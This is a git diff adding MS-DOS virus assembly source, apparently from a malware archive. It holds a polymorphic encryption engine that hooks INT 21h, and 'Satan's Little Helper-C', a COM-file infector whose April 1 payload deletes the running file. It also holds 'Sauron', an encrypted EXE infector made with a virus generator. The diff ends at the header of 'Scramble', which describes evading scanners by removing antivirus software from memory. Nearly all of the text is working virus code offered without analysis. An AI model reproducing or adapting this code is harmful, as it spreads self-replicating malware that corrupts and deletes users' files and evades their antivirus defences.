+Make_LP:CALL RND + TEST AL,1H + JNE MAKE_NI + INC BYTE PTR DS:[BX] +Make_NI:LOOP Make_LP +SaveDI: MOV WORD PTR DS:[DOFF],DI + MOV BYTE PTR DS:[FillB],NO + RETN +MAKE@: + +Fill_NUM:PUSH AX + PUSH BX + PUSH CX + MOV BX,OFFSET FTABLE +FINLP: CALL RND + AND AX,000FH + XLAT + CLD + STOSB + LOOP FINLP + POP CX + POP BX + POP AX + RETN +Fill_NUM@: + +Fill: PUSH AX + PUSH BX + PUSH CX + CALL RND + AND AX,001FH + MOV CX,AX + JCXZ FILRT + MOV BX,OFFSET FTABLE +FILP: CALL RND + MOV AH,0FH + CMP BYTE PTR DS:[Memory],YES + JNE AndEf + MOV AH,07H +AndEf: AND AL,AH + XLAT + CLD + STOSB + LOOP FILP +FILRT: POP CX + POP BX + POP AX + RETN +Fill@: + +FTABLE: NOP + STC + CLC + CMC + CLD + STI + NOP ;SAHF + DB 2EH + DB 3EH + DB 26H + INC BX + DEC BX + INC DX + DEC DX + INC BP + DEC BP +FTABLE@: + +PUTINC: PUSH AX + PUSH CX + PUSH SI + MOV CL,DS:[FillB] + MOV SI,OFFSET INCDOFF + CALL RND + TEST AL,01H + JE MOVINC + ADD SI,6H +MOVINC: CLD + MOVSB + JCXZ NOFIL1 + CALL Fill7 +NOFIL1: CLD + MOVSB + JCXZ NOFIL2 + CALL Fill7 +NOFIL2: CALL RND + TEST AL,1H + JE MOVINC1 + INC SI + INC SI + CLD + MOVSW + JMP SHORT MOVINCR +MOVINC1:CLD + MOVSB + JCXZ NOFIL3 + CALL Fill7 +NOFIL3: CLD + MOVSB +MOVINCR:POP SI + POP CX + POP AX + RETN +PUTINC@: + +Fill7: PUSH AX + PUSH CX + CALL RND + AND AX,0007H + MOV CX,AX + JCXZ NOFL7 + CALL Fill_NUM +NOFL7: POP CX + POP AX + RETN +Fill7@: + +BTAIL: MOV SI,OFFSET TOP + CALL RND + MOV CX,6H + TEST AL,1H + JE TAILMOV + ADD SI,CX +TAILMOV:CLD + REP MOVSB + MOV AX,DI + SUB AX,DS:[DEC_START] ;TELL TAIL WHERE TO JMP + NEG AX + MOV WORD PTR DS:[DI-2H],AX + MOV WORD PTR DS:[DOFF],DI + MOV BX,DS:[INST] + SHL BX,1H + MOV AX,DI + SUB AX,BX ;HOW MUCH OF THE DECRYPTION + PUSH AX ; TO ENCRYPT? + PUSH BX + MOV BX,OFFSET FTABLE + XOR DX,DX +TAILSL: TEST DI,000FH + JE TAILPA + CALL RND + AND AX,000FH + XLAT + STOSB + INC DX + JMP TAILSL +TAILPA: POP BX + MOV SI,OFFSET Start + MOV CX,OFFSET Done-OFFSET Start + CLD + REP MOVSB + CALL RND + AND AX,1H + ADD DI,AX + MOV AX,OFFSET DECRYPT + AND AX,0FFF0H + ADD AX,0010H + SUB DI,AX + MOV WORD PTR DS:[SIZ],DI + MOV DI,DS:[EOFF] + MOV BYTE PTR DS:[DI],0C3H + MOV AX,OFFSET Done-OFFSET Start + ADD AX,BX + ADD AX,DX + XOR DX,DX + DIV WORD PTR DS:[INST] + SHR AX,1H + MOV CX,AX + INC CX + MOV DI,DS:[MOVCX] + MOV WORD PTR DS:[DI],CX + POP DI + PUSH DI + MOV BX,DS:[CALL_OFF] + SUB DI,BX + MOV SI,DS:[ADDSI] + MOV WORD PTR DS:[SI],DI + POP DI + MOV SI,DI +TAILE: MOV AX,OFFSET ENCRYPT + CALL AX + LOOP TAILE + MOV DX,OFFSET DECRYPT + AND DX,0FFF0H + ADD DX,0010H + MOV CX,DS:[SIZ] + RETN +BTAIL@: + +INCDOFF:INC DI + INC DI + PUSH DI + POP SI + MOV SI,DI + + INC SI + INC SI + PUSH SI + POP DI + MOV DI,SI +INCDOFF@: + + + +TOP: DEC CX + JE TOP1 + JMP Start +TOP1: DEC CX + JCXZ TOP@ + JMP Start +TOP@: + +HEAD: MOV BYTE PTR DS:[PUTCLD],NO + MOV BYTE PTR DS:[PUTCX],NO + MOV BYTE PTR DS:[FORCE],NO + MOV BYTE PTR DS:[PUSHED],NO + MOV BX,OFFSET HOP + MOV SI,BX + CALL CALL_EM + CLD + MOVSB + PUSH DI + XOR AX,AX + CLD + STOSW + MOV WORD PTR DS:[CALL_OFF],DI + CALL RND + AND AX,001FH + MOV CX,AX + JCXZ HEAD_NCL + CALL Fill_NUM +HEAD_NCL:CALL PUTCL + POP AX + PUSH BX + MOV BX,AX + JCXZ HEAD_ZER +HEAD_LP:CALL RND + TEST AL,1H + JNE HEAD_NI + INC BYTE PTR DS:[BX] +HEAD_NI:LOOP HEAD_LP +HEAD_ZER:POP BX + INC SI + INC SI + CALL RND + AND AX,0001H + MOV DX,AX + CLD + LODSB + OR AL,DL + CLD + STOSB + CALL CALL_EM + CLD + MOVSB + CLD + LODSB + OR AL,DL + CLD + STOSB + XOR AX,AX + MOV WORD PTR DS:[ADDSI],DI + CLD + STOSW + CALL CALL_EM + CALL RND + TEST AL,1H + JNE HEAD_E + CLD + LODSB + OR AL,DL + CLD + STOSB + CALL CALL_EM + MOV AL,DS:[BX+3H] + MOV DH,DL + NEG DH + INC DH + OR AL,DH + CLD + STOSB + JMP SHORT HEAD_E1 +HEAD_E: INC SI + CLD + MOVSB + CLD + LODSB + MOV CL,4H + SHL AX,CL + PUSH CX + MOV CL,DL + SHL AL,CL + POP CX + SHR AX,CL + CLD + STOSB +HEAD_E1:MOV BYTE PTR DS:[FORCE],YES + CALL CALL_EM + MOV WORD PTR DS:[DOFF],DI + MOV WORD PTR DS:[DEC_START],DI + RETN +CALL_EM:CALL Fill + CALL PUTCL + RETN +HEAD@: + +HOP: DB 0E8H ;CALL + DB 0FCH ;CLD + DB 0B9H ;MOV CX, + DB 5EH ;POP SI 5FH = POP DI + DB 81H ;ADD + DB 0C6H ;SI C7H = DI + DB 56H ;PUSH SI 57H = PUSH DI + DB 89H ;MOV + DB 0F7H ;DI,SI 0FEH = SI,DI + DB 06H ;PUSH ES + DB 0EH ;PUSH CS + DB 1FH ;POP DS + DB 0EH ;PUSH CS + DB 07H ;POP ES +HOP@: + + +PUTCL: PUSH AX + CALL RND + CMP BYTE PTR DS:[FORCE],YES + JE PUTCL_F + TEST AL,01H + JNE PUTCL_NO +PUTCL_F:CMP BYTE PTR DS:[PUTCLD],YES + JE PUTCL_NO + MOV AL,DS:[BX+1H] + CLD + STOSB + CALL Fill + MOV BYTE PTR DS:[PUTCLD],YES +PUTCL_NO:CALL RND + CMP BYTE PTR DS:[FORCE],YES + JE PUTCL_F1 + TEST AL,1H + JNE PUTCL_NO1 +PUTCL_F1:CMP BYTE PTR DS:[PUTCX],YES + JE PUTCL_NO1 + MOV AL,DS:[BX+2H] + CLD + STOSB + MOV WORD PTR DS:[MOVCX],DI + XOR AX,AX + CLD + STOSW + CALL Fill + MOV BYTE PTR DS:[PUTCX],YES +PUTCL_NO1:MOV BYTE PTR DS:[Begin],1EH + CMP BYTE PTR DS:[Memory],YES + JE PUTCL_MEM + CMP BYTE PTR DS:[File],COM + JE PutCLRet +PUTCL_MEM:MOV BYTE PTR DS:[Begin],90H + CMP BYTE PTR DS:[PUSHED],YES + JE PutCLRet + PUSH CX + PUSH SI + MOV SI,OFFSET HOP+9H + MOV CX,5H + CMP BYTE PTR DS:[Memory],NO + JE PUTCL_LP1 + INC SI + DEC CX +PUTCL_LP1:CLD + MOVSB + CALL Fill + LOOP PUTCL_LP1 + POP SI + POP CX + MOV BYTE PTR DS:[PUSHED],YES +PutCLRet:POP AX + RETN +PUTCL@: + +RanFunction:PUSH AX + PUSH BX + PUSH DI + MOV DI,OFFSET FunctionComp+2H + MOV BYTE PTR DS:[FuncByte],0H +RanFuncLP:CMP BYTE PTR DS:[FuncByte],0FH + JE RanFuncEnd + CALL RND + AND AL,3H + MOV AH,3DH + MOV BL,1H + CMP AL,0H + JE GotFunc + MOV AH,4BH + MOV BL,2H + CMP AL,1H + JE GotFunc + MOV AH,6CH + MOV BL,4H + CMP AL,2H + JE GotFunc + MOV AH,Signal + MOV BL,8H + CMP AL,3H + JNE RanFuncLP +GotFunc:TEST BYTE PTR DS:[FuncByte],BL + JNE RanFuncLP + OR BYTE PTR DS:[FuncByte],BL + MOV BYTE PTR DS:[DI],AH + ADD DI,0005H + JMP SHORT RanFuncLP +RanFuncEnd:POP DI + POP BX + POP AX + RETN + +MemHead:MOV BYTE PTR DS:[PUTCLD],NO + MOV BYTE PTR DS:[PUTCX],NO + MOV BYTE PTR DS:[FORCE],NO + MOV BYTE PTR DS:[PUSHED],NO + MOV BX,OFFSET HOP + CALL RanFunction + MOV DI,DS:[DOFF] + MOV SI,OFFSET FunctionComp + MOV CX,OFFSET MemDecrypt-FunctionComp + MOV WORD PTR DS:[JumpHandle+1H],DI + MOV WORD PTR DS:[JumpHandle+3H],CS + MOV AX,DS:[Vector21] + MOV WORD PTR DS:[FunctionJump+1H],AX + MOV AX,DS:[Vector21+2H] + MOV WORD PTR DS:[FunctionJump+3H],AX + CALL Fill + CLD + REP MOVSB + MOV SI,OFFSET MemBuild + MOV CX,0009H +MemHeadLP:CALL Fill + CLD + MOVSB + LOOP MemHeadLP + CALL CALL_EM + CALL RND + AND AL,01H + MOV DL,AL + MOV AL,0BEH + OR AL,DL + CLD + STOSB + MOV AX,100H + CLD + STOSW + CALL CALL_EM + MOV AL,89H + CLD + STOSB + MOV AL,0F7H + MOV CL,DL + SHL CL,1 + SHL CL,1 + SHL AX,CL + PUSH CX + MOV CL,DL + SHL AL,CL + POP CX + SHR AX,CL + CLD + STOSB + MOV BYTE PTR DS:[Force],YES + CALL CALL_EM + MOV WORD PTR DS:[DOFF],DI + MOV WORD PTR DS:[DEC_START],DI + RETN + + +MemTail:MOV SI,OFFSET TOP + MOV DI,DS:[DOFF] + MOV CX,6H + CALL RND + TEST AL,1H + JE MemNoADD + ADD SI,CX +MemNoAdd:CLD + REP MOVSB + PUSH DI + CALL Fill + MOV AL,0EAH + CLD + STOSB + MOV AX,OFFSET Handle21Pall + CLD + STOSW + MOV AX,CS + CLD + STOSW + POP AX + MOV BX,AX + SUB AX,DS:[DEC_START] + NEG AX + MOV WORD PTR DS:[BX-2H],AX + MOV WORD PTR DS:[DOFF],DI + MOV BX,DS:[INST] + SHL BX,1H + XOR DX,DX + MOV AX,OFFSET Done-OFFSET Start + DIV BX + INC AX + MOV DI,DS:[MOVCX] + MOV WORD PTR DS:[DI],AX + MOV BX,AX + MOV DI,DS:[EOFF] + MOV SI,OFFSET MemEncrypt + MOV CX,OFFSET MemEncrypt@-OFFSET MemEncrypt + MOV AX,DI + CLD + REP MOVSB + MOV CX,BX + CMP BYTE PTR DS:[ReturnFar],YES + JE NoPush + SUB DI,5H + PUSH AX + MOV AL,0EAH + CLD + STOSB + MOV AX,DS:[Vector21] + CLD + STOSW + MOV AX,DS:[Vector21+2H] + CLD + STOSW + POP AX +NoPush: MOV BYTE PTR DS:[Busy_Flag],No + MOV SI,100H + MOV DI,SI + INC AX + JMP AX + +MemEncrypt:RETN +MemLoop:MOV AX,OFFSET Encrypt + CALL AX + LOOP MemLoop + XOR AX,AX + POP ES + POP DS + POP BP + POP SI + POP DI + POP DX + POP CX + POP BX + POP AX + RETF 0002H + DB 0H,0H +MemEncrypt@: + + + +FunctionComp:CMP AH,3DH + JE MemDecrypt + CMP AH,4BH + JE MemDecrypt + CMP AH,6CH + JE MemDecrypt + CMP AH,Signal + JE MemDecrypt +FunctionJump:DB 0EAH,00H,00H,00H,00H +MemDecrypt: + + +LODSTO DB 0ADH,0ABH +LODSTO@: + +; These instructions can be changed if you follow the formating +; protocal + +; Example: E1: DB 00100100B ;2,I,N,W +; ADD WORD PTR DS:[SI],CX +; SUB WORD PTR DS:[SI],CX +; +; This would change E1 so that it would add/sub the counter +; regs to every word encrypted +; +; + +ETAB: DW OFFSET E1-OFFSET ETAB,OFFSET E2-OFFSET ETAB,OFFSET E3-OFFSET ETAB,OFFSET E4-OFFSET ETAB,OFFSET E5-OFFSET ETAB + DW OFFSET E6-OFFSET ETAB,OFFSET E7-OFFSET ETAB,OFFSET E8-OFFSET ETAB,OFFSET E9-OFFSET ETAB,OFFSET E10-OFFSET ETAB,OFFSET E11-OFFSET ETAB + DW OFFSET E12-OFFSET ETAB,OFFSET E13-OFFSET ETAB,OFFSET E14-OFFSET ETAB,OFFSET E15-OFFSET ETAB,OFFSET E16-OFFSET ETAB,OFFSET E17-OFFSET ETAB + DW OFFSET E18-OFFSET ETAB,OFFSET E19-OFFSET ETAB,OFFSET E20-OFFSET ETAB,OFFSET E21-OFFSET ETAB,OFFSET E22-OFFSET ETAB,OFFSET E23-OFFSET ETAB + DW OFFSET E24-OFFSET ETAB,OFFSET E25-OFFSET ETAB,OFFSET E26-OFFSET ETAB,OFFSET E27-OFFSET ETAB,OFFSET E28-OFFSET ETAB,OFFSET E29-OFFSET ETAB + DW OFFSET E30-OFFSET ETAB,OFFSET E31-OFFSET ETAB,OFFSET E32-OFFSET ETAB + ;xxxxyyyy = xxxx EQUALS SIZE OF INSTRUCTION + ;0xxx = INDIRECT 1xxx = LODSW + ;x0xx = ADD x1xx = NO ADD + ;xx0x = WORD xx1x = BYTE (ONLY COUNTS IF ADD BIT IS ZERO) + ;xxx0 = [SI] xxx1 = [SI+1H] +E1: DB 01000000B ;4,I,A,W + ADD WORD PTR DS:[SI],1234H + SUB WORD PTR DS:[SI],1234H +E2: DB 00110010B ;3,I,A,B + ADD BYTE PTR DS:[SI],12H + SUB BYTE PTR DS:[SI],12H +E3: DB 01000011B ;4,I,A,B + ADD BYTE PTR DS:[SI+1H],12H + SUB BYTE PTR DS:[SI+1H],12H +E4: DB 00100100B ;2,I,N + ROR WORD PTR DS:[SI],CL + ROL WORD PTR DS:[SI],CL +E5: DB 00100100B ;2,I,N + ROR BYTE PTR DS:[SI],CL + ROL BYTE PTR DS:[SI],CL +E6: DB 00110101B ;3,I,N + ROR BYTE PTR DS:[SI+1H],CL + ROL BYTE PTR DS:[SI+1H],CL +E7: DB 00100100B ;2,I,N + NOT WORD PTR DS:[SI] + NOT WORD PTR DS:[SI] +E8: DB 00100100B ;2,I,N + NOT BYTE PTR DS:[SI] + NOT BYTE PTR DS:[SI] +E9: DB 00110101B ;3,I,N + NOT BYTE PTR DS:[SI+1H] + NOT BYTE PTR DS:[SI+1H] +E10: DB 01000000B ;4,I,A,W + XOR WORD PTR DS:[SI],1234H + XOR WORD PTR DS:[SI],1234H +E11: DB 00110010B ;3,I,A,B + XOR BYTE PTR DS:[SI],12H + XOR BYTE PTR DS:[SI],12H +E12: DB 01000011B ;4,I,A,B + XOR BYTE PTR DS:[SI+1H],12 + XOR BYTE PTR DS:[SI+1H],12 +E13: DB 00100100B ;2,I,N + NEG WORD PTR DS:[SI] + NEG WORD PTR DS:[SI] +E14: DB 00100100B ;2,I,N + NEG BYTE PTR DS:[SI] + NEG BYTE PTR DS:[SI] +E15: DB 00110101B ;3,I,N + NEG BYTE PTR DS:[SI+1H] + NEG BYTE PTR DS:[SI+1H] +E16: DB 00111000B ;3,L,A,W + ADD AX,1234H + SUB AX,1234H +E17: DB 00111010B ;3,L,A,B + ADD AH,12H + SUB AH,12H +E18: DB 00101010B ;2,L,A,B + ADD AL,12H + SUB AL,12H +E19: DB 00111000B ;3,L,A,W + XOR AX,1234H + XOR AX,1234H +E20: DB 00101010B ;2,L,A,B + XOR AL,12H + XOR AL,12H +E21: DB 00111010B ;2,L,N + XOR AH,12H + XOR AH,12H +E22: DB 00101100B ;2,L,N + XOR AX,CX + XOR AX,CX +E23: DB 00101100B ;2,L,N + XCHG AL,AH + XCHG AL,AH +E24: DB 00101100B ;2,L,N + NOT AX + NOT AX +E25: DB 00101100B ;2,L,N + NOT AL + NOT AL +E26: DB 00101100B ;2,L,N + NOT AH + NOT AH +E27: DB 00101100B ;2,L,N + NEG AX + NEG AX +E28: DB 00101100B ;2,L,N + NEG AH + NEG AH +E29: DB 00101100B ;2,L,N + NEG AL + NEG AL +E30: DB 00101100B + ROR AX,CL + ROL AX,CL +E31: DB 00101100B + ROR AL,CL + ROL AL,CL +E32: DB 00101100B + ROR AH,CL + ROL AH,CL +ETAB@: + +ALTTAB: MOV CX,7FH ;Scramble Encryption table +ALTTABL:MOV DI,OFFSET ETAB + MOV SI,DI + CALL RND + AND AX,1FH + SHL AX,1H + ADD DI,AX + CALL RND + AND AX,1FH + SHL AX,1H + ADD SI,AX + CMP SI,DI + JE ALTTABL + MOV AX,DS:[SI] + XCHG AX,DS:[DI] + MOV WORD PTR DS:[SI],AX + LOOP ALTTABL + RETN + DB ? +ALTTAB@: +Done: DB ? + + +EOFF DW ? +DOFF DW ? +ADDSI DW ? +SIZ DW ? +MOVCX DW ? +ECNT DW ? +INST DW ? +CALL_OFF DW ? +DEC_START DW ? +WRITE_BYTE DB ? +PATH_END DB ? +FillB DB ? +FORCE DB ? +PUTCLD DB ? +PUTCX DB ? +PUSHED DB ? + +Vector21 DD ? ;Segment:Offset of INT 21H +DTA DD ? ;Segment:Offset of DTA +FileSeg DD ? ;Segment:Offset of file +FileDS DW ? ;Original Data Segment +AddSeg DW ? +OldFileSize DD ? +NewFileSize DD ? +Infected DB ? +Opened DB ? +Attribute DB ? +Memory DB ? +ReturnFar DB ? +FuncByte DB ? +Busy_Flag DB ? + +MemDelete: +ImmuneBytes DB 20H DUP(0) + +First20 DB 20H DUP(0) + +NewDTA DB 128 DUP(0) + +ENCRYPT: DB 512 DUP(0) + +JumpHandle DB 5 DUP(0) ;JMP CS:Handle21 + +DECRYPT DB 0H + +Vend: +CSEG ENDS + END Start + diff --git a/MSDOS/Virus.MSDOS.Unknown.satnlh.asm b/MSDOS/Virus.MSDOS.Unknown.satnlh.asm new file mode 100644 index 00000000..fb7f4b58 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.satnlh.asm @@ -0,0 +1,354 @@ +; Virus +; Satan's Little Helper-C +;This version: +;Searches current directory for non-infected com files, if any found +;it will become infected! +;This virus has a routine which self-destructs itself and uninfects +;the file. + assume cs:code + .286 +code segment "code" + org 0100h +start proc + jmp v_start ;first 5 bytes | + nop ; | + nop ; | +v_start: + call $+3 ;Actual virus + pop dx + sub dx, 3 + push dx ;save relocation factor in BP + pop bp ;so virus can be copied anywhere twoards + mov si, dx ;the end of the file + ; +; Replace first 5 bytes in memory with original +; program code so normal program can run later + add si, first_five + mov di, 0100h + mov cx, 5 + lodsb + stosb + loop $-2 +;see if user want to disinfect this file + mov si, 82h + lodsb + cmp al, "[" ;is al the code to disinfect? "[" + jne ok_dont_disinfect + jmp self_kill +ok_dont_disinfect: + ;here should be date checks to see + ;if an evil function should be unleashed!! + mov ah, 2ah + int 21h + ;cx year 1980-2099 + ;dh month 1-12 + ;dl day + ;al day of week 0=sun 1=mon -> 7=sat + cmp dh, 12 + jne notdec + cmp dl, 25 + jne notdec + jmp christmas +notdec: + cmp dh, 4 + jne notapril + cmp dl, 1 + jne notapril + jmp aprilfools +notapril: + +;Set the DTA + call set_dta + ;find first file to ?infect? + call find_first_file +go_again: + mov si, bp + add si, size_ + lodsw + cmp ax, 5 + ja gd4 + jmp resrch +gd4: + call open_file + mov bx, ax + mov al, 0 + call date_time + mov ah, 3fh + mov cx, 5 + mov dx, bp + add dx, first_five + int 21h + mov ax, 4202h + mov cx, 0 + mov dx, cx + int 21h + sub ax, 3 + mov si, bp + add si, new_5 + mov [si+1], ax + mov si, bp + mov di, si + add si, chkmark + add di, mark + mov cx, 2 + repe cmpsb + jne INFECT +;File found was previously infected! +; search for new one now. + jmp resrch + +wipe_name: + push di + push ax + push cx + mov di, bp + add di, name_ + mov cx, 13 + mov al, 0 + rep stosb + pop cx + pop ax + pop di + ret +resrch: + call wipe_name + mov ah, 4fh + int 21h + jnc gd3 + jmp term_virus +gd3: + jmp go_again +INFECT: +;Time to infect the file!! + mov si, bp + add si, handle + mov bx, [si] + mov cx, vsize + mov dx, bp + call wipe_name + mov ax, 4000h + int 21h + mov ax, 4200h + mov cx, 0 + mov dx, cx + int 21h + mov dx, bp + add dx, new_5 + mov ax, 4000h + mov cx, 5 + int 21h + mov al, 1 + call date_time + mov ax, 3e00h + int 21h + jmp resrch + +fndnam proc + mov si, env + mov ax, [si] + mov es, ax + mov ds, ax + mov si, 0 + mov di, si +__lp: + lodsb + cmp al, 0 + je chknxt + stosb + jmp __lp +chknxt: + stosb + lodsb + cmp al, 0 + je fnd1 + stosb + jmp __lp +fnd1: + stosb +__lp2: + lodsb + cmp al, "a" + jae ff_ +up2: + cmp al, "A" + jae fff_ +up3: + stosb + jmp __lp2 +ff_: + cmp al,"z" + jbe fnd + jmp up2 +fff_: + cmp al, "Z" + jbe fnd + jmp up3 +fnd: + mov si, di + mov al, 0 + repne scasb + mov dx, si + mov di, dx + ret +env equ 2ch +fndnam endp + + +self_kill: + ;this procedure disinfects specified files + ;SI points to the name of current file on disk + ;which is infected + call fndnam ;find name of current file from env block in memory + jmp gd__ +abrt: + int 20h +gd__: + mov ax, 3d02h + int 21h + jc abrt + mov bx, ax + mov ax, cs + mov ds, ax + mov es, ax + mov cx, 5 + mov dx, bp + add dx, first_five + call wipe_name + mov ax, 4000h + int 21h + jc abrt + mov dx, 0 + mov cx, 0 + mov ax, 4202h + int 21h + jnc gd__1 + jmp abrt +gd__1: + sub ax, vsize + mov dx, ax + mov cx, 0 + mov ax, 4200h + int 21h + call wipe_name + mov cx, 0 + mov ax, 4000h + int 21h + mov ax, 3e00h + int 21h + jmp term_virus +date_time: + pusha + mov ah, 57h + cmp al, 0 + je fnd__$ + mov di, bp + mov si, di + add di, date + add si, time + mov dx, [di] + mov cx, [si] + int 21h + jmp ret__ +fnd__$: + int 21h + mov si, bp + mov di, bp + add si, time + add di, date + mov [si], cx + mov [di], dx +ret__: + popa + ret +open_file: + mov dx, bp + add dx, name_ + mov ax, 3d02h + int 21h + jnc gd2 + jmp term_virus +gd2: + mov si, bp + add si, handle + mov [si], ax + ret +find_first_file: + mov dx, bp + mov cx, 0 + mov ah, 4eh + add dx, all_com_files + int 21h + jnc gd1 + jmp term_virus +gd1: + ret +set_dta: + mov dx, bp + mov ah, 1ah + add dx, dta + int 21h + ret +term_virus: + mov ax, 0 + mov bx, ax + mov cx, bx + mov dx, cx + mov si, 0100h + mov di, -1 + mov bp, di + push 0100h + ret + +CHRISTMAS: +;Program Lockup +; Exit without running program + int 20h +APRILFOOLS: +;Ha Ha delete current file + call fndnam + mov ah, 41h + int 21h + mov ax, cs + mov ds, ax + mov es, ax + jmp term_virus +; Data Bank +_fstfive: + int 20h + nop +ckmrk: + nop + nop +acf db "*.COM",0 +dt_ dw 0 +tme dw 0 +d_t_a: + rfd db 21 dup (0) + att db 0 + dw 0 + dw 0 + sz dd 0 + n_me db 13 dup (0),0 +handl dw 0 +nw_5 db 0e9h,0,0 +mrk db "66" +strain db "C" +; +end___: +first_five = offset _fstfive-0105h +all_com_files = offset acf-0105h +dta = offset d_t_a-0105h +attribute = offset att-0105h +time = offset tme-0105h +date = offset dt_-0105h +size_ = offset sz-0105h +name_ = offset n_me-0105h +handle = offset handl-0105h +new_5 = offset nw_5-0105h +mark = offset mrk-0105h +chkmark = offset ckmrk-0105h +vsize = offset end___-0105h +start endp +code ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.sauron.asm b/MSDOS/Virus.MSDOS.Unknown.sauron.asm new file mode 100644 index 00000000..d1fd98d8 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.sauron.asm @@ -0,0 +1,313 @@ +; Virus generated by G 0.70 +; G written by Dark Angel of Phalcon/Skism + +; File: SAURON.ASM +; Sauron by Ender + +id = 'AC' + + .model tiny + .code + +; Assemble with: +; TASM /m3 filename.ASM +; TLINK /t filename.OBJ + org 0100h + +start: +ENCRYPT: +patchstart: + mov bx, offset endencrypt + mov cx, (heap-endencrypt)/2+1 +encrypt_loop: + db 002Eh ; cs: + db 0081h,0037h ; xor word ptr [bx], xxxx +encryptvalue dw 0000h + inc bx + inc bx + loop encrypt_loop +endencrypt: + mov bp, sp + int 0003h +next: + mov bp, ss:[bp-6] + sub bp, offset next + + push ds + push es + + mov ax, 3524h + int 0021h + push es + push bx + + lea dx, [bp+INT24] ; ASSumes ds=cs + mov ax, 2524h + int 0021h + + push cs + pop es + + + push cs + pop es + + push cs + pop ds + + mov dl, 0000h ; Default drive + mov ah, 0047h ; Get directory + lea si, [bp+offset origdir+1] + int 0021h + + lea dx, [bp+offset newDTA] + mov ah, 001Ah ; Set DTA + int 0021h + + push ds + push es + + mov ax, 3521h ; get int 21h handler + int 0021h + + push es + pop ds + xchg bx, dx + mov ax, 2503h ; set int 3 = int 21h handler + int 0021h + + pop es + pop ds + lea si, [bp+offset origCSIP] + lea di, [bp+offset origCSIP2] + movsw + movsw + movsw + movsw + + mov byte ptr [bp+numinfect], 0000h +traverse_loop: + lea dx, [bp+offset EXEmask] + call infect + cmp [bp+numinfect], 0004h + jae exit_traverse ; exit if enough infected + + mov ah, 003Bh ; CHDIR + lea dx, [bp+offset dot_dot] ; go to previous dir + int 0003h + jnc traverse_loop ; loop if no error + +exit_traverse: + + lea si, [bp+offset origdir] + mov byte ptr [si], '\' + xchg dx, si + mov ah, 003Bh ; restore directory + int 0003h + + pop dx + pop ds + mov ax, 2524h + int 0003h + + pop ds + pop es + + mov dx, 0080h ; in the PSP + mov ah, 001Ah ; restore DTA to default + int 0003h + +restore_EXE: + mov ax, ds + add ax, 0010h + add cs:[bp+word ptr origCSIP2+2], ax + add ax, cs:[bp+word ptr origSPSS2] + cli + mov ss, ax + mov sp, cs:[bp+word ptr origSPSS2+2] + sti + db 00EAh +origCSIP2 dd ? +origSPSS2 dd ? +origCSIP dd 0fff00000h +origSPSS dd ? + +return: + ret +INT24: + mov al, 0003h + iret + +infect: + mov ah, 004Eh ; find first + mov cx, 0007h ; all files +findfirstnext: + int 0003h + jc return + lea dx, [bp+newDTA+30] + mov ax, 4300h + int 0003h + jc return + push cx + push dx + + mov ax, 4301h ; clear file attributes + push ax ; save for later use + xor cx, cx + int 0003h + + lea dx, [bp+newDTA+30] + mov ax, 3D02h + int 0003h + xchg ax, bx + + mov ax, 5700h ; get file time/date + int 0003h + push cx + push dx + + mov cx, 001Ah + mov ah, 003Fh + lea dx, [bp+offset readbuffer] + int 0003h + + xor dx, dx + mov ax, 4202h + xor cx, cx + int 0003h + + cmp word ptr [bp+offset readbuffer], 'ZM' + jnz jmp_close + +checkEXE: + cmp word ptr [bp+offset readbuffer+10h], id + jnz skipp +jmp_close: + jmp close +skipp: + + lea di, [bp+origCSIP] + lea si, [bp+readbuffer+14h] + movsw ; Save original CS and IP + movsw + + sub si, 000Ah + movsw ; Save original SS and SP + movsw + + push bx ; save file handle + mov bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs + mov cl, 0004h + shl bx, cl + + push dx ; Save file size on the + push ax ; stack + + sub ax, bx ; File size - Header size + sbb dx, 0000h ; DX:AX - BX -> DX:AX + + mov cx, 0010h + div cx ; DX:AX/CX = AX Remainder DX + + mov word ptr [bp+readbuffer+10h], id ; Initial SP + mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment + mov word ptr [bp+readbuffer+14h], dx ; IP Offset + mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module. + + mov si, dx ; save entry point + pop ax ; Filelength in DX:AX + pop dx + + add ax, heap-start + adc dx, 0000h + + mov cl, 0009h + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 0001h + + mov word ptr [bp+readbuffer+2], ax ; the EXE header. + mov word ptr [bp+readbuffer+4], dx ; Fix-up the file size in + + pop bx ; restore file handle + +get_encrypt_value: + mov ah, 002Ch ; Get current time + int 0003h + + or dx, dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + + add si, (offset endencrypt-offset encrypt) + mov word ptr ds:[bp+patchstart+1], si + mov word ptr ds:[bp+encryptvalue], dx + + lea di, [bp+offset encryptbuffer] + mov cx, (heap-encrypt)/2 + lea si, [bp+offset ENCRYPT] + push si + rep movsw ; copy virus to buffer + + lea ax, [bp+offset endencrypt-encrypt+encryptbuffer] + mov word ptr ds:[bp+patchstart+1], ax + pop si + push [bp+offset endencrypt] + mov byte ptr [bp+offset endencrypt], 00C3h ; retn + push bx + call si ; encrypt virus in buffer + pop bx + pop word ptr [bp+offset endencrypt] + + + mov ah, 0040h + mov cx, heap-encrypt + lea dx, [bp+offset encryptbuffer] + int 0003h + + mov ax, 4200h + xor cx, cx + xor dx, dx + int 0003h + + + lea dx, [bp+offset readbuffer] + mov ah, 0040h + mov cx, 001Ah + int 0003h + + inc [bp+numinfect] + +close: + mov ax, 5701h ; restore file time/date + pop dx + pop cx + int 0003h + + mov ah, 003Eh + int 0003h + + pop ax ; restore file attributes + pop dx ; get filename and + pop cx ; attributes from stack + int 0003h + + mov ah, 004Fh ; find next + jmp findfirstnext + +creator db 'Ender',0 +virusname db 'Sauron',0 +EXEmask db '*.EXE',0 +dot_dot db '..',0 + +heap: +encryptbuffer db (heap-encrypt)+1 dup (?) +newDTA db 43 dup (?) +origdir db 65 dup (?) +numinfect db ? +readbuffer db 1ah dup (?) +endheap: + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.scramble.asm b/MSDOS/Virus.MSDOS.Unknown.scramble.asm new file mode 100644 index 00000000..639e74dd --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.scramble.asm @@ -0,0 +1,644 @@ +; SCRAMBLE --- Memory resident .COM infector. +; +; Uses many methods to slip through heuristic and standard virus scanners. +; +; #1 Pulls MSAV and CPAV out of memory. +; #2 Has self modifying JMP at the beginning to confuse 